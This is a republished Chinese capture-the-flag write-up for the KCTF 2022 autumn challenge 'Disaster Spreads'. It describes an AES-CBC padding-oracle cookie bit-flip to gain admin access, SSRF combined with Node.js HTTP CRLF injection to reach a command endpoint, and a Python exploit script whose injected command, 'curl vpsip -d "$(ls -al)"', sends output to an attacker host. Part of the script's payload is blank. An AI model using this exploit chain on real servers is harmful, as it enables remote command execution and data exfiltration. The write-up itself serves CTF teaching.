-
-
[原创] 看雪 2022 KCTF 秋季赛 第五题 灾荒蔓延
-
2天前
68
-
[原创] 看雪 2022 KCTF 秋季赛 第五题 灾荒蔓延
感叹一下:
- 第一名太快啦!吃个饭的功夫,就出一血了
- 服务器一度卡爆,挂掉!
- 2202 都快结束了,居然能碰到没有容器化、root 权限起的、可以 rce 的 nodejs !
- 这么一看不挂才怪(
- 我很好奇会不会有队伍删 flag / 删题目
- 是冷饭
访问题目,收到一个 cookie,长 64 的 hex 串。
访问 /admin 提示 you are not admin。稍微修改 cookie 的前部,得到 JsonParse error。更改 cookie 结尾,得到 Decrypt error。显然是一个 AES-CBC 而且还可以 padding oracle。
不难解出 cookie 明文 {"admin":"0"}
,其实不解也无所谓,逐个字节反转,可以发现页面突然提示 welcome admin, post cmd to /C00mmmmanD。
get /C00mmmmanD,提示又不是 admin 了。考虑到 /search 提供 ssrf,估计是需要从 127.0.0.1 访问。然后做一套 node http crlf。数据带外
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | import requests
url = 'http://150.158.18.137:5329/'
r = requests.get(url)
token = r.cookies[ 'isadmin' ]
token = bytearray.fromhex(token)
token[ 10 ] ^ = 1
token = token. hex ()
print (token)
cmd = 'curl vpsip -d "$(ls -al)"'
payload = f
final_payload = 'http://localhost:5329/'
for c in payload:
if c.isalnum():
final_payload + = c
else :
final_payload + = chr ( 0x100 + ord (c))
r = requests.get(url + 'search' , params = { 'url' : final_payload})
print (r.text)
|
flag{ohhh_Kctf_doyoulike_nodejs}
看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~
文章来源: https://bbs.pediy.com/thread-275294.htm
如有侵权请联系:admin#unsafe.sh